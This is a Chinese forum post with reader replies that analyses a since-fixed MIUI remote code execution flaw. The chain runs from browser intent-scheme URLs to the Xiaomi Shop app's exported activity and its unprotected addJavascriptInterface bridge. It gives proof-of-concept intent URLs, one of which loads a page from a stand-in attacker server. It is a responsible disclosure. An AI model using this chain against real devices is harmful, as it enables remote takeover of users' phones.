小米手机MIUI远程代码执行漏洞分析

90_

作者：嘎巴嘎巴

7月我在研究webview漏洞时专门挑小米手机的MIUI测试了下,发现了非常明显的安全漏洞。通过该漏洞可以远程获取本地APP的权限，突破本地漏洞和远程漏洞的界限，使本地app的漏洞远程也能被利用，达到隔山打牛的效果。在漏洞发现的第一时间,我已经将漏洞细节报告给了小米安全响应中心,目前漏洞已经修复。

1. 测试环境:手机型号：MI 3
   
2. Android版本：4.2.1 JOP40D
   
3. MIUI版本：MIUI-JXCCNBE21
   
4. 内核版本：3.4.35-ga656ab9

复制代码

小米MIUI原生浏览器存在意图协议安全问题
在使用小米原生浏览器的时候我发现MIUI定制了网络异常页面, 如当前url不能访问或网络异常会跳转到定制的网页,通过点击网页中的链接可以直接进入WIFI的设置界面.

根据我以往的经验，APP要在静态网页中实现进程间通信主流的方法有两种，一种是通过addJavascriptInterface给webview加入一个javascript桥接接口，通过调用这个接口可以直接操作本地的JAVA接口。另外一种方法是使用Intent.parseUri解析URL，让APP支持intent scheme URLs（意图协议URL），通过解析特定格式的URL直接向系统发送意图。
测试过后，果然发现小米浏览器完全支持意图协议URL，测试过程如下，让小米浏览器直接访问下面的地址，浏览器会向系统发起意图，启动本地的日历APP

1. intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end

复制代码

我再翻阅了一下google官方framework中intent的源代码：
/platform/frameworks/base/+/core/java/android/content/Intent.java
3966行的Intent.parseUri定义

1. 
   
2. if (uri.startsWith("S.", i)) b.putString(key, value);
   
3. else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
   
4. else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
   
5. else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
   
6. else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
   
7. else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
   
8. else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
   
9. else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
   
10. else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
    
11. else throw new URISyntaxException(uri, "unknown EXTRA type", i);
    

复制代码

可以明显的看到Intent.parseUri解析URL时完全可以自定义EXTRA DATA和DATA以及acion等，通过符合格式的协议地址向本地任意APP发送任意意图，所以如果本地某个APP的导出组件存在漏洞，我们也可以从这个入口进行远程攻击。

小米商店存在webview远程代码执行漏洞
顺着第一部分的思路，我开始审计MIUI系统中预装和内置的APP，希望能发现被远程利用的漏洞。在自动漏洞扫描中，我发现小米官方的APP“小米商店”的webview使用了addjavascriptinterface，且编译API级别小于17，可能存在webview远程代码执行漏洞。

于是我针对这个APP进行了逆向分析，发现了该APP的多个导出组件，如com.xiaomi.shop.activity.MainActivity组件接受参数能够被外部调用加载任意的网页。

同时我发现了该组件关联的com.xiaomi.shop.ui类初始化了一个叫WE的addJavascriptInterface漏洞接口，并且没有做任何安全处理。

根据逆向代码，com.xiaomi.shop.activity.MainActivity这个活动组件接受的EXTRA DATA是string类型，结合第一部分小米浏览器的意图协议漏洞，可以轻松写出漏洞验证代码，通过导入的网页调用存在漏洞的JavascriptInterface接口WE，能够以当前APP的权限执行任意的命令和JAVA代码。

1. intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html;end

复制代码

安全建议
安卓开发者在注意用户体验的开发同时也应该关注安全，因为某个APP的易用功能而导致整个系统的安全性大打折扣就得不偿失了。
本次分析的漏洞,如果是恶意攻击者，通过载入远程的恶意网页利用ROOT漏洞攻击，完全可以直接掌控受害者的手机，后果不可想象。据了解小米官方已经修复了小米商店APP存在的漏洞，建议小米手机和MIUI的用户都尽快升级。

Hzs

谢谢分享！

phantomer

移动端安全的好文。

Mr.wang

感谢分享  虽然我看不懂  

梦芯

感谢lz的分享

LostSoul

虽然看不懂但觉得好叼啊

STSASG

手机端  大把多事情

C4r1st

诺基亚撸过。

Chinahuc

好文章，支持！！